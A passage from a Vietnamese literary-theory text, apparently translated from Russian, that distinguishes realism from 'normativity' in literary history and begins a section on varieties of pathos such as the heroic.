Nhưng chẳng bao lâu chính tác giả tự bác bỏ. Ông chỉ ra rằng “hàng loạt tác phẩm của chủ nghĩa hiện thực thời đại Ánh sáng mang bản chất trừu tượng, tính chất tiền định của các hình tượng con người tích cực định chuẩn”(2). Có nghĩa là văn học thời đại Ánh sáng nói chung không phải tất cả đều là hiện thực, trong đó có những tác phẩm “định chuẩn” và không chỉ trong quan hệ của những tích cách nhân vật “tích cực”. Những tác phẩm như vậy không ít, thậm chí có thể là số nhiều. Điều đó tất nhiên là khác nhau trong mỗi một nước tiên tiến. Vậy thì khi đó có thể nói về “chủ nghĩa hiện thực thời đại Ánh sáng” nói chung không?
Tạm thời đã qua đi khá lâu khi văn học “bị khống chế” phản ánh những tính cách theo “quan niệm thần thoại và tôn giáo”. Nhưng lại có những tạm thời khác tiến đến khi trong ý thức xã hội thậm chí ở bộ phận tiến bộ đã thống trị những lý tưởng khác: – đạo đức – công dân, khai hóa, không tưởng – những lý tưởng luôn luôn cách này hay cách khác, trong mức độ này hay mức độ khác trừu tượng một cách lịch sử. Vì vậy chúng có thể hướng các nhà văn đến tính định chuẩn của các khái niệm nghệ thuật của họ. Và trong văn học thường được gặp chúng, đặc biệt là trong khi phản ánh các tính cách mà chúng cần phải thể hiện những lý tưởng của các nhà văn. “Tính định chuẩn” nghệ thuật đã có không ít trong những tác phẩm thời đại thống trị của “chủ nghĩa hiện thực phê phán”.
Vậy thì “tính định chuẩn” phản ánh nghệ thuật đời sống là nằm ở chỗ nào? Đó là sự tái tạo lại những tính cách xã hội mà trong đó chúng bị phụ thuộc trong mối quan hệ và phát triển của mình, không phải bởi những quy luật bên trong khách quan riêng biệt được tạo nên trong chúng bởi những quan hệ xã hội của đất nước và thời đại chúng mà bởi khuynh hướng tư tưởng cảm xúc chủ quan của tư tưởng sáng tạo của nhà văn có được mức độ nhất định nào đó của tính trừu tượng lịch sử. “Tính định chuẩn” của tác phẩm văn học, nói cách khác là nằm ở chỗ nhà văn buộc các nhân vật của mình hành động (mong muốn, ứng xử, suy nghĩ, cảm xúc, nói năng) không phải trong sự phù hợp của các tính cách của chúng mà ở trong sự phù hợp với tư duy cảm xúc của nhà văn bắt nguồn từ tính trừu tượng của những quan điểm và lý tưởng của mình, tách biệt với tính lịch sử cụ thể của những tính cách ấy của chúng.
Các lý tưởng của nhà văn có mức độ trừu tượng lịch sử càng lớn, đặc biệt là nếu chúng đồng thời mang đặc tính xã hội cao và quan trọng của hệ vấn đề và cảm hứng của mình thì đối với nhà văn lại càng có nhiều khả năng tái hiện “định chuẩn” các tính các xã hội. Và không chỉ những tính cách ấy theo quan điểm của nhà văn có được ý nghĩa xã hội tích cực mà kể cả những tính cách đối với anh ta là tiêu cực về mặt xã hội cũng có ý nghĩa.
Điều đó được giải thích bởi những tình hình trong những mức độ rất sớm của sự phát triển xã hội các dân tộc khi mà trong đời sống tinh thần của chúng các quan niệm thần thoại hoặc đạo đức tôn giáo thống trị hoàn toàn thì văn học nghệ thuật của chúng mang đặc tính “định chuẩn” to lớn bao trùm các tác phẩm nói chung. Trong các sử thi anh hùng, bi kịch, hài kịch cổ đại, trong các bài ca anh hùng, chuyện kể bằng thơ, chuyện chiến đấu trung cổ và tiểu thuyết hiệp sĩ đã được tái hiện và nhận thức “một cách định chuẩn” thường không chỉ các nhân vật biểu hiện các nguyên tắc cao thượng, tích cực của đời sống mà cả các nhân vật thể hiện các nguyên tắc tiêu cực, thù địch. Tất cả các nhân vật của các tác phẩm đã biểu hiện những biến thể này hay khác của lòng tốt hoặc tính xấu về đạo đức. Và các đặc tính đạo đức này hay khác của các nhân vật trong mức độ này hay khác đã được tuyệt đối hóa và chúng hình như đã hấp thụ vào trong lòng mình tất cả các đặc điểm lịch sử cụ thể hiện thực của các tính cách xã hội được miêu tả.
Về sau, trong thời đại chủ nghĩa cổ điển, khi văn học hầu như hoàn toàn giải phóng khỏi những hệ vấn đề đạo đức tôn giáo, khi nó đã trở thành phạm vi thế giới về cơ bản thì trong nó dù sao vẫn còn sự thống trị của các lý tưởng và quan niệm đạo đức công dân rất cao cả và trừu tượng một cách lịch sử. Và trong ánh sáng của những lý tưởng trừu tượng ấy thì trong các thơ tụng ca và bi kịch, trong các hài kịch và văn châm biếm đức hạnh đã chiến thắng và các thói xấu khác nhau đã bị trừng phạt nghiêm khắc. “Tính định chuẩn” của phản ánh các tính cách con người ở đây đã thường trở nên gay gắt hơn cả trong các truyện kể và bài ca anh hùng trung cổ.
Trong thời đại chủ nghĩa tình cảm và chủ nghĩa lãng mạn trong văn học nghệ thuật đã xảy ra sự bùng nổ mới của “tính định chuẩn” nhưng được bắt nguồn từ những đặc điểm khác của khuynh hướng tư tưởng trừu tượng của các tác phẩm. Tính đạo đức tôn giáo và công dân trong văn học các thế kỷ trung đại và trong văn học thời đại chủ nghĩa cổ điển đã luôn hàm chứa trong mình một phần nào đó của tính biện luận và chủ nghĩa duy lý mà cái phần ấy đã dẫn tới sự tuyệt đối hóa đức hạnh và sự hư hỏng trong tính cách các nhân vật, tới quan hệ hiếm có của chúng, tới sự đối lập lẫn nhau gay gắt của chúng trong các cốt truyện tác phẩm.
Khuynh hướng tình cảm và lãng mạn của các tác phẩm ngược lại đã bắt nguồn từ sự phủ nhận tính biện luận của thế giới quan, từ sự thừa nhận quyền ưu tiên của phạm vi xúc cảm của nhận thức con người, từ sự giải phóng nó khỏi bất kỳ hệ thống duy lý vào phân tách nhỏ nào. Nhưng khuynh hướng cảm xúc này của các tác phẩm văn học tự mình có tính độc lập và tuyệt đối hóa theo cách riêng. Các nhà văn tình cảm chủ nghĩa đã cố đi tìm một cái gì đó cao cả trong cái thấp hèn còn các nhà văn lãng mạn chủ nghĩa thì lại tìm một cái gì cao thượng trong cái xấu xa và cái xứng đáng được ca tụng trong sự bị ruồng bỏ. Và họ đã buộc vào khuynh hướng cảm xúc độc lập đó, đã buộc chúng hành động thuận theo sự lý tưởng hóa cuộc sống chủ quan và khoa trương của mình. Thay thế cho “tính định chuẩn” từ những phạm trù đạo đức “cái thiện” và “cái ác” định sẵn từ trước, trong văn học đã xuất hiện “tính định chuẩn” bắt nguồn từ những khát vọng tình cảm chủ quan đã có sẵn từ trước nữa. Tất cả điều đó thường đi kèm theo sự phá vỡ sự giống như thật bề ngoài của sự miêu tả đời sống, hướng đến chuyện hoang đường và tượng trưng.
Nhưng với tất cả “sự định chuẩn” duy lý hay cảm xúc của mình, các tác phẩm của các thời đại lịch sử ấy đã có thể có tính nghệ thuật cao nếu như chúng đạt độ sâu sắc của hệ vấn đề, có tính chân thực lịch sử của khuynh hướng tư tưởng và sự hoàn thiện của hình thức phù hợp với nội dung của mình.
Nhưng cùng với văn học “định chuẩn” trong cái nghĩa hẹp trong thời gian đó đã tồn tại cả văn học tự nhiên chủ nghĩa. Trong đó các nhà văn nói cung đã không đi sâu vào bản chất các tính cách được mô tả dù chỉ là cái trừu tượng, họ đã tái hiện chúng trong tất cả những cái ngẫu nhiên riêng lẻ, phần lớn là những xung đột và những quan hệ đời sống thường có ý nghĩa độc lập. Các tiểu thuyết phiêu lưu giảo quyệt và kịch truyền kỳ, các truyện ngắn, đặc biệt là các chuyện hài hước đã là loại tác phẩm ấy.
Nhưng trong những tác phẩm ấy thường đã tồn tại “tính định chuẩn” đặc biệt. Nó nằm ở chỗ nhà văn đã đưa các nhân vật của mình trải qua hàng loạt việc mạo hiểm, cực kỳ lớn lao, hiểm nghèo của cuộc sống của chúng để rồi cuối cùng đưa chúng trái với những hoàn cảnh thực tế đến chiến thắng mọi trở lực và đạt được hạnh phúc hoàn toàn. Và tính chất định kiến tư tưởng nông cạn ấy của tác giả đã làm cho độc giả cảm nhận rõ rệt trong suốt toàn bộ tác phẩm.
Nhưng không nên từ tất cả những điều đó mà cho rằng trong thời đại thống trị của “định chuẩn” trừu tượng và tự nhiên chủ nghĩa thì sự phản ánh cuộc sống có tính hiện thực hoàn toàn đã không thành đạt trong văn học nghệ thuật. Trong sự phủ nhận đời sống mang tính tư tưởng, trong phương diện phê phán của nội dung các tác phẩm, chủ nghĩa hiện thực tuy vậy vẫn nhiều khi xuất hiện tự phát, khắc phục tính trừu tượng lịch sử hoặc lịch sử kinh nghiệm tự nhiên của việc tái hiện đời sống. Sự khắc phục đó đã gặp khó khăn bởi ý thức xã hội các dân tộc, thậm chí cả ý thức tiến bộ nhất lúc đó đã không có khr năng nắm vững chủ nghĩa lịch sử của sự hiểu biết đời sống xã hội thời đại mình và các thời đại trước đó.
Lịch sử văn học Nga có thể là một ví dụ. Những dấu hiệu đầu tiên của sự xuất hiện chủ nghĩa hiện thực có thể tìm thấy ngay trong các truyện sinh hoạt thế kỷ XVII chẳng hạn trong “Truyện về tòa án Sêmiankinưi”, tái hiện một cách đúng đắn các tính cách nông dân nghèo và giàu trong những hoàn cảnh điển hình của thẩm quyền xét xử của tòa án thời bấy giờ. Những thành tựu có ý nghĩa hơn của chủ nghĩa hiện thực có thể tìm thấy trong các thể loại “thấp hèn” của chủ nghĩa cổ điển Nga, chẳng hạn như ở các hài kịch của Phônvidin hay trong chuyện ngụ ngôn của Khemnhixer. Chẳng hạn như trong hài kịch “Chàng ngốc” dự tính hoàn toàn trong các truyền thống nắm bắt có tính hợp lý – định chuẩn các tính cách, xuất phát từ những lý tưởng đạo đức công dân của chế độ Nhà nước quý tộc tiến bộ, Phônvidin ở mức độ đáng kể đã vượt qua “tính định chuẩn” ấy trong miêu tả gia đình Prôxtakôvưi tại những lớp hài kịch sinh hoạt cuộc sống của họ. Trong những màn kịch đó của Prôxtakôva, Xkôtinhin, của thầy giáo, Êrêmêevna hiện ra như những nhân vật có khuynh hướng phủ định nhưng lại hành động hoàn toàn phù hợp với những quy luật khách quan nội tại của các tính cách xã hội của mình, với sự mâu thuẫn hài kịch của chúng và trong quan hệ ấy lại biểu lộ cái giao kèo gay gắt với tính chất dung tục lý thuyết hão mang tính “định chuẩn” của nhóm các nhân vật tích cực đứng đầu là Xtarôđum. Mặc dù tính định chuẩn tháo nút mâu thuẫn, trong đó Pravđin với mệnh lệnh của người cầm đầu về sự bảo trợ và Milon với thanh kiếm cong trong tay giống như “những thiên thần của bộ máy”, nhanh chóng khiến phẩm hạnh chiến thắng và cái xấu bị trừng phạt, hài kịch hoàn toàn mang tính cổ điển theo ý định lại là một kiểu mẫu đầu tiên của chủ nghĩa hiện thực phê phán trong văn học Nga.
Cũng để vạch ra khuynh hướng tương tự trong sự phát triển sáng tác của Trunkôv, đã bắt đầu với “định chuẩn” tự nhiên chủ nghĩa các truyện ngắn sinh hoạt đầu tiên của mình, in trong những tập đầu “Những kẻ chế giễu”, nhưng tiếp đó trong một số truyện của tập sau, đặc biệt là trong “Số phận cay đắng” và “Con cá măng quý giá” đã phản ánh một cách hiện thực những tính cách trong sự phù hợp của chúng với “những hoàn cảnh điển hình” của đời sống.
Trong mức độ lớn hơn còn có thể nói tới “Cuộc du hành từ Pêtécbua đến Maxkva” của Rađisepxki, mặc dù chiều hướng đa cảm của tác giả biểu lộ trong một loạt cảnh của tác phẩm và một vị trí lớn là những bàn cãi chính luận vẫn là sự dựng lại một cách hiện thực toàn vẹn đời sống nước Nga nông nô chuyên chế, vạch trần một cách đúng đắn những mối tương quan và cuộc đấu tranh của các giai cấp xã hội cơ bản của nó. Tất cả đó là giai đoạn đầu của sự phát triển chủ nghĩa hiện thực trong văn học Nga, vượt qua “tính định chuẩn” của những khuynh hướng khác nhau của tư duy nghệ thuật. Về cơ bản tình hình cũng như vậy trong văn học các nước Tây Âu khác.
Giai đoạn thứ hai của sự phát triển chủ nghĩa hiện thực được bắt đầu về cơ bản của mười năm đầu thế kỷ XIX. Lúc đó, trên cơ sở hiểu biết những chuyển biến kinh tế, chính trị lớn lao vừa mới diễn ra trước hết là ở Anh và Pháp, công chúng tiến bộ các nước ấy cũng như ở một số nước khác đã bước vào một con đường chung của phát triển xã hội và biết vận dụng tư tưởng kinh nghiệm của chúng, đã dần dần thấm nhuần chủ nghĩa lịch sử của thế giới quan xã hội ở phương diện phê phán của nó nhưng nó lại không thoát khỏi tính trừu tượng của những lý tưởng xã hội của mình. Lúc đó đã bắt đầu thời kỳ hưng thịnh của chủ nghĩa hiện thực phê phán trong sáng tác không chỉ của các nhà văn tiên tiến nhất mà cả những nhà văn khác có khả năng sử dụng kinh nghiệm sáng tác của họ và trên đó mà trưởng thành theo kiểu của mình.
Nghĩa là cả trong những tác phẩm có giá trị và ngay cả đã tự ý thức được chủ nghĩa hiện thực phê phán, tính trừu tượng lịch sử của sự hiểu biết tư tưởng – cảm xúc của các tính cách đã có thể biểu hiện ở mức độ ít hoặc nhiều, nhất là những tính cách đã thể hiện cách này hay cách khác theo quan điểm các nhà văn những nguyên lý, nguyên tắc thái độ và cảm xúc người.
Nhưng trong thời đại mới này của sự phát triển văn học nghệ thuật nhiều khi đã xảy ra một tác phẩm được xây dựng trên sự đối lập giữa các tính cách tự nhận thức và phát triển một cách “định chuẩn” với các tính cách phản ánh với chiều sâu rộng lớn của chủ nghĩa hiện thực. Ví dụ ai cũng biết là loại phản đề của hai nguyên tắc phản ánh đời sống bắt nguồn từ ý đồ “Những linh hồn chết” của Gôgôn. Nó được biểu lộ hoàn toàn sáng rõ trong sự đối sánh toàn bộ các nhân vật hài kịch phần đầu tiểu thuyết với các nhân vật lý tưởng hóa như Kốxtangiôglô và Muradôp ở phần hai. Cũng thường xảy ra trong trường hợp “tính định chuẩn” của tư duy sáng tạo của nhà văn được biểu hiện trong những bước ngoặt đột ngột diễn ra trong các tính cách những nhân vật chính của tác phẩm không xuất phát từ lôgic bên trong của những tính cách ấy. Ví dụ chẳng hạn như sự bùng sáng đạo đức đột ngột theo ý chí của tác giả được Gorđây Torxốp thể nghiệm trong tháo nút xung đột ở hài kịch “Sự nghèo khổ không phải là thói xấu”, Raxkônhikôp – trong phần kết “Tội ác và trừng phạt”, Porfiri Gôlôvlep trong cuốn tiểu thuyết “Các ngài Gôlôlép”, Ivan Gôlốpvin hấp hối trong “Cái chết của Ivan Ilích”.
Sự liên kết những tính cách được miêu tả một cách hiện thực với những tính cách lý tưởng hóa một cách “định chuẩn” được gặp trong một số tiểu thuyết của Bandắc như “Lão Gôriô” hay “Ơgiơni Grăngđê”, trong các tiểu thuyết của Đichken như “Ngôi nhà lạnh lẽo” hoặc “Thời gian khó” của Đôxtôepxki, đặc biệt trong “Anh em nhà Karamadốp” và ở nhiều nhà văn khác nữa.
Ngay cả trong quá trình phản ánh một tính cách trong ý thức sáng tạo của nhà văn cũng có thể xảy ra cuộc đấu tranh bên trong của chủ nghĩa hiện thực và “tính định chuẩn” khuynh hướng. Chẳng hạn như với L.Tônxtôi khi ông hướng vào miêu tả “sự phục sinh” đạo đức của Nhêkhliuđốp thì ngay lúc đó đã chỉ ra một cách đúng đắn rằng thực ra trong nhân vật ấy tính nuông chiều quý tộc, tính thiển cận, tính tự ái của nó còn mạnh mẽ và chúng đã khiến cho “sự phục sinh” của nó về thực chất đã không thành.
Từ tất cả những điều trên cho thấy thuật ngữ “chủ nghĩa hiện thực phê phán” hoàn toàn xác đáng. Trong khoảng hai thời kỳ đầu của sự phát triển chủ nghĩa hiện thực trong văn học thế giới, các nhà văn đã hướng đến chủ nghĩa hiện thực, đến “tái hiện chính xác những tính cách điển hình” đối với “hoàn cảnh điển hình” chỉ khi nào mà chúng mô tả những nhân vật biểu hiện ở trong mình những khuynh hướng tiêu cực, thoái hóa, phản động của đời sống lịch sử – dân tộc. Còn những khuynh hướng tiến bộ của đời sống ấy thường chưa chín muồi và bộc lộ yếu ớt nên các nhà văn đã nhận thức với tính trừu tượng lịch sử ít hay nhiều và do đó đã thể hiện “chủ nghĩa định chuẩn” trong miêu tả các tính cách thể hiện những khuynh hướng ấy.
Những lý tưởng của nhà văn này hay nhà văn khác mang tính trừu tượng lịch sử có ý nghĩa tích cực càng cao bao nhiêu thì càng có khả năng bộc lộ “tính định chuẩn” to lớn bấy nhiêu trong xây dựng các nhân vật lý tưởng của mình nhưng càng có thể làm sâu thêm chủ nghĩa hiện thực của nó trong phương diện phê phán nội dung các tác phẩm của nó. Trong mức độ nhỏ nhất những mâu thuẫn tương tự đã có thể xuất hiện trong sáng tác các nhà văn nhận thức cuộc sống mà họ mô tả một cách tự nhiên.
Giai đoạn thứ ba của sự phát triển chủ nghĩa hiện thực đã xuất hiện trong đầu thế kỷ XX. Khi đó xã hội dân chủ tiên tiến, trước hết là nước Nga đã dần dần được noi theo, ban đầu có tính lý luận, sau đó là trong hoạt động xã hội thực tiễn của mình và trong thế giới quan tư tưởng của mình, học thuyết chủ nghĩa xã hội khoa học và quan niệm duy vật lịch sử về các quy luật phát triển xã hội của nhân loại bắt nguồn từ đó. Điều này đã mở ra trước đó khả năng thấm nhuần chủ nghĩa lịch sử của tư duy xã hội không chỉ trong sự hiểu biết phê phán đời sống xã hội đương thời và quá khứ mà cả trong nhận thức viễn cảnh sự phát triển xã hội và những lý tưởng xã hội gắn bó với sự nhậ thức như vậy. Trên cơ sở tư tưởng này đã bắt đầu xuất hiện trong văn học nghệ thuật chủ nghĩa hiện thực mà trước hết là ở Nga mà M. Gorki đã gọi “chủ nghĩa hiện thực khẳng định” bởi vì nó có thể được biểu hiện không chỉ trong sự phủ định tư tưởng của các tính cách mà cả trong sự khẳng định tư tưởng của chúng những mối quan hệ đời sống xã hội (của những hoàn cảnh điển hình) tạo dựng ra chúng. Những biểu hiện đầu tiên của giai đoạn mới này của chủ nghĩa hiện thực trong văn học Nga như mọi người đều biết là tiểu thuyết “Người mẹ” của M. Gorki và trong mức độ còn lớn hơn là vở kịch “Những kẻ thù” của ông.
Như vậy, chủ nghĩa hiện thực khẳng định hay là chủ nghĩa hiện thực xã hội chủ nghĩa như người ta thường gọi nó theo những đặc điểm lý tưởng thế giới quan sản sinh ra nó, đó không phải là một nguyên tắc phản ánh đời sống đặc biệt nào tồn tại ngang hàng cùng với “chủ nghĩa định chuẩn” và “chủ nghĩa hiện thực phê phán”. Đó chính là chủ nghĩa hiện thực mà bản chất của nó đã được Ăngghen xác định trong thư gửi Hácơnexơ, nhưng đang xuất hiện trong thời kỳ mới của phát triển xã hội, trong trào lưu văn học mới có được những khả năng nhận thức sâu sắc và rộng lớn hơn bắt nguồn từ thế giới quan lịch sử – cụ thể mới.
Điều đáng nói, tất nhiên trước hết là về những khả năng mới ấy, chứ không phải về sự thực hiện có hiệu quả của chúng trong nền văn học dân tộc này hay dân tộc khác, trong sáng tác của những nhà văn riêng lẻ nào đó. Nguyên tắc chung của phản ánh nghệ thuật đời sống không giải đáp về sự thành công của việc vận dụng có tính hiện thực nó trong sáng tác văn học.
Trong nhận thức chủ nghĩa hiện thực xã hội chủ nghĩa từ phía nhiều nhà nghiên cứu văn học chúng ta còn một mức độ lớn biểu lộ sự thiên về tư duy hoán dụ hơn là hiểu biết chủ nghĩa hiện thực nói chung. Họ thường gọi tất cả văn học xã hội chủ nghĩa (theo lý tưởng của nó) là chủ nghĩa hiện thực xã hội chủ nghĩa với toàn bộ những đặc điểm nội dung và hình thức của nó chứ không phải là một kiểu mới của chủ nghĩa hiện thực mà nó xuất hiện trong văn học.
Sự đồng nhất có tính tự phát như vậy toàn bộ văn học xã hội chủ nghĩa bao gồm đồng thời rất nhiều đặc điểm lịch sử cụ thể khác của nội dung tư tưởng – tất cả sự phong phú, đa dạng của đề tài, hệ đề tài và cảm hứng tư duy cảm xúc đời sống, đồng thời cả những mối tương quan của thể loại – chỉ riêng mỗi phương diện nội dung của nó với nguyên tắc phản ánh phổ biến nhất trong nước đang tạo ra những trở ngại lớn đối với việc nghiên cứu nó có tính lịch sử.
Điều đó đưa đến ví dụ như quan niệm không chính xác rằng hầu như tất cả các tác phẩm văn học xã hội chủ nghĩa với bất kỳ đề tài và hệ vấn đề nào của chúng cũng bao hàm trong mình chủ nghĩa hiện thực khẳng định – phê phán. Và điều đó hình như giải thoát các nhà lịch sử văn học và các nhà phê bình khỏi nhiệm vụ nghiên cứu cẩn thận những nguyên tắc phản ánh đời sống trong văn học xã hội chủ nghĩa, ví dụ – những khả năng biểu hiện trong nó chủ nghĩa hiện thực phê phán, của “tính định chuẩn” hay cả chủ nghĩa tự nhiên(1). Văn học xã hội chủ nghĩa (cần phân biệt nó trong những giới hạn của mình với hiện tượng rộng lớn hơn nhiều – văn học Xô Viết trong chỉnh thể của nó) – đó là quá trình sáng tạo sinh động mà nó không thể nào “ra lệnh” từ bên trên và trong đó có sự tham gia của đông đảo các nhà văn với những trình độ khác nhau của tư duy xã hội và sáng tạo, với những sắc thái khác nhau trong những lý tưởng chung của mình, với những sự quan tâm về những mặt khác nhau của hiện thực xã hội đầy phức tạp của quá khứ lịch sử và thời hiện đại của mình và với mức độ khác nhau của tài năng. Bởi vậy những kết quả sáng tạo của họ trong mọi mối quan hệ có thể trở nên rất đa dạng.
Từ những điều vừa nói cho thấy cần phải từ bỏ cái kỳ vọng nhìn thấy trong sự phát triển văn học nghệ thuật cuộc đấu tranh thường xuyên của “chủ nghĩa hiện thực” và “chủ nghĩa phản hiện thực”. Các quan niệm như vậy phỏng định rằng sự mong muốn có ý thức của một số nhà văn thì hướng về chủ nghĩa hiện thực trong việc tạo dựng lại cuộc sống một cách sáng tạo của họ và lại có rất nhiều mong muốn có ý thức và có tính nguyên tắc của nhiều người khác thì từ bỏ chủ nghĩa hiện thực và xây dựng các tác phẩm của mình theo kiểu tương phản với nó.
Nhưng tất cả điều đó chỉ là một phần nào và chỉ trong những giai đoạn cuối của sự phát triển những nền văn học dân tộc của các dân tộc tiên tiến. Như đã nói ở trên chỉ từ những năm 40 của thế kỷ XIX trước hết là trong giới phê bình Nga đã nổi lên sự thiếu tin tưởng khái niệm phản ánh cuộc sống có tính hiện thực. Trước thời gian đó nhiều nhà văn những nước khác nhau đã đi tới chủ nghĩa hiện thực một cách tự phát mà tự mình không ý thức được điều đó bởi vì một khái niệm tương ứng nói chung là chưa có. Trong thời gian đó đã không có và không thể tồn tại một “chủ nghĩa phản hiện thực” có ý thức nào cả. Nhưng một mặt khác, những nhà văn đã ý thức được về chủ nghĩa hiện thực nhưng thù địch nó trong tư duy có ý thức, “bằng sự dò dẫm sáng tạo” đi đến chủ nghĩa hiện thực trong các tác phẩm của mình một cách vô ý thức. Ví dụ như Tuốcghênhep và L.Tônxtôi những năm 50, trong cuộc đấu tranh sôi nổi với lý luận nghệ thuật và với những nguyên tắc “phê bình hiện thực” của các nhà dân chủ cách mạng đã có lúc tiếp giáp với lý luận “nghệ thuật thuần túy” thù địch với nguyên tắc phản ánh cuộc sống một cách hiện thực, tuy nhiên trong sáng tạo nghệ thuật của mình thì đã là những nhà hiện thực phê phán sáng giá.
Để kết thúc chúng ta quy lại vấn đề có bao nhiêu nguyên tắc phản ánh cuộc sống khác nhau có thể tìm thấy trong lịch sử văn học nghệ thuật. Cần có lôgic trong tạo dựng các khái niệm khoa học của mình. Nếu như một trong những nguyên tắc phản ánh cuộc sống là ở chỗ nhà văn “buộc” các nhân vật của mình hoạt động trong sự phù hợp với những quy luật lịch sử cụ thể của cá tính cách riêng của chúng được tạo ra bởi các quan hệ xã hội của đất nước và thời đại chúng thì một hay những nguyên tắc khác cần phải xác định từ chính tiêu chí ấy – từ vấn đề là các hành vi và quan hệ của các nhân vật của các tác phẩm nói chung bị phụ thuộc vào cái gì. Quả thật ngoài những đặc điểm có tính quy luật của các tính cách của mình, chúng còn có thể phụ thuộc vào cái gì? Ở đây chỉ có thể tồn tại một khả năng: các nhân vật có thể hoạt động trong sự phù hợp với sự hiểu biết xúc cảm trừu tượng lịch sử của những tính cách của chúng từ phía nhà văn. Nói gọn lại trong sự phản ánh những tính cách xã hội có thể có một ý nghĩa quan trọng nào đó hoặc là tính cụ thể của chính cuộc sống được nhận thức hoặc là tính trừu tượng của ý thức nắm bắt ý nghĩa cuộc sống ấy của nhà văn.
Tất nhiên là cả tính cụ thể của cuộc sống được phản ánh, cả tính trừu tượng của ý thức phản ánh nó có thể rất khác nhau. Nhưng đó là những sự phân biệt bên trong của chủ nghĩa hiện thực và “chủ nghĩa định chuẩn” chứ không phải là sự phân biệt giữa chúng.
Tiếc rằng cho đến nay trong nghiên cứu văn học không có một thuật ngữ riêng biệt, đơn nghĩa, được mọi người thừa nhận cho cái nguyên tắc đánh dấu sự phản ánh nghệ thuật cuộc sống mang tính phi hiện thực chủ nghĩa. Sự thiếu vắng một thuật ngữ như vậy tất yếu dẫn chúng ta đến sự lẫn lộn các khái niệm và làm mất đi hệ thống khoa học cần phải rõ ràng, chính xác của chúng ta. Chúng tôi cảm thấy rằng thuật ngữ “tính định chuẩn”, “chủ nghĩa định chuẩn” trong cái nghĩa ấy có thể lấp đầy cái khoảng trống ấy một cách kết quả (1).
Như vậy tính chân thực lịch sử của sự thấu hiếu mang tính tư tưởng cảm xúc của các tính cách được miêu tả và chủ nghĩa hiện thực của việc tái hiện chúng – đó là những mặt khác nhau của nội dung các tác phẩm văn học. Phương diện thứ nhất trong số chúng là một trong những tiêu chí cơ bản của các tác phẩm nghệ thuật. Còn phương diện thứ hai có thể là luận chứng khách quan và sự cụ thể hóa của phương diện thứ nhất. Nhưng, tính chân thực lịch sử, cảm hứng của những khái quát sáng tạo đời sống có thể tồn tại trong “tính định chuẩn” của sự phản ánh của nó.
Sự phân biệt chủ nghĩa hiện thực và “chủ nghĩa định chuẩn” của việc tái hiện các tính cách vì vậy mà có ý nghĩa cơ bản trong việc xem xét vấn đề về một số biến thể của cảm hứng.

PHẦN THỨ HAI

I. Những biến thể của cảm hứng – tính chất anh hùng
1
Những vấn đề về những biến thể cảm hứng các tác phẩm nghệ thuật còn chưa được nghiên cứu đầy đủ trong nghiên cứu văn học hiện đại. Một số khái niệm thích hợp từ lâu đã có hệ thống thuật ngữ được thừa nhận vững chắc nhiều hoặc ít, tuy nhiên không phải luôn được nhận thức rõ ràng, đầy đủ trong nội dung và dung lượng của mình.
Những dạng khác nhau của cảm hứng tác phẩm và những khái niệm phù hợp với nó nói chung đã chưa nhận được một sự hệ thống hóa khách quan và đúng đắn nào, là một khoảng trống cơ bản của lý luận văn học. Cần nói ngay rằng điều đó cuối cùng phải dựa vào đó.
Nếu như cảm hứng chân thật lịch sử của tư duy nghệ thuật và sự đánh giá các tính cách được miêu tả, những hành động, thái độ, xúc cảm của chúng phụ thuộc về căn bản vào những đặc điểm khách quan của chúng, thể hiện ý nghĩa xã hội của chúng trong thời đại nào đó là sự phát triển một xã hội dân tộc nhất định thì rõ ràng là với quan điểm ấy cần phải xem xét tất cả các biến thể của cảm hứng.
Như đã nói cả những con người có thực trong đời sống và các nhân vật tưởng tượng của các tác phẩm văn học mà trong đó những tính cách người có thật trở thành đối tượng của sự thấu hiểu tư tưởng – cảm xúc này hoặc khác – dù thế nào đi nữa chúng cũng thường nhận được trong đó sự mô tả tưởng tượng và sự phản ánh “định chuẩn” – luôn luôn bằng cách này hay cách khác tham dự vào sự thực hiện và biểu lộ những khuynh hướng xã hội tiến bộ hoặc phản động, thoái hóa này hay khác của đời sống xã hội. Trong trường hợp thứ nhất những tính cách xã hội, sự hoạt động của chúng, những thái độ và xúc động của chúng là đáng được sự khẳng định tư tưởng – cảm xúc và làm cho cái sau (tức hình tượng) trở thành chân thực lịch sử. Trước hết chúng ta sẽ dừng lại ở những biến thể của cảm hứng khẳng định và sẽ cố gắng tìm kiếm những mối quan hệ khách quan của chúng.
Chúng ta nhắc lại trong quan hệ này những nỗ lực của chúng ta nhằm thiết lập một hệ thống hoàn chỉnh gián tiếp trong những giá trị đạo đức của đời sống nhân loại mà Hêghen đã đề ra một cách ngắn gọn và rời rạc và ông gọi chúng là “các lực lượng toàn thể của hành động” hoặc “các lực lượng của tâm hồn con người”.
Tình yêu, tình hữu nghị và những thái độ đạo đức tương tự của những người riêng lẻ chỉ có thể trở thành những sự yêu mến cá nhân xây dựng trên cơ sở ngẫu nhiên và cá thể. Nhưng chúng có thể hàm chứa trong mình một cái gì đó “siêu cá thể”, nếu như một người thấy trong nhân cách của người khác sự biểu hiện của một số nguyên tắc, liên kết đạo đức chung mặc dù rất gián tiếp với lý tưởng của nó. Những mối liên hệ như vậy có thể tồn tại một cách khách quan trong trường hợp khi con người xứng với tình yêu, tình hữu nghị, sự kính trọng “siêu cá thể” bằng cách này hay cách khác tham gia vào trào lưu này hay trào lưu khác của tư tưởng xã hội, hoạt động xã hội hoặc vào phong trào chính trị thống nhất mà chúng trong những điều kiện thời đại lịch sử của mình có thể có ý nghĩa tích cực, thậm chí nếu nó tiếp nhận cả sự hiểu biết trừu tượng, siêu thăng có tính tôn giáo nói riêng.
Nhưng các trào lưu tư tưởng và phong trào chính trị không tồn tại tự bản thân nó, độc lập với toàn bộ đời sống xã hội dân tộc của nó. Chúng có ý nghĩa tích cực khách quan có thể thức tỉnh trong mọi người những cảm xúc đạo đức cao cả chỉ khi mà mặc dù chỉ một phần nào, mặc dù chỉ ở phương diện phê phán nội dung của mình, chúng là sự thể hiện các khuynh hướng tiến bộ chung các dân tộc của sự phát triển xã hội. Và chính quyền thống trị hiện hành đồng thời có thể hoặc thúc đẩy sự phát triển các khuynh hướng ấy, đôi khi lãnh đạo chúng hoặc ngăn cản chúng.
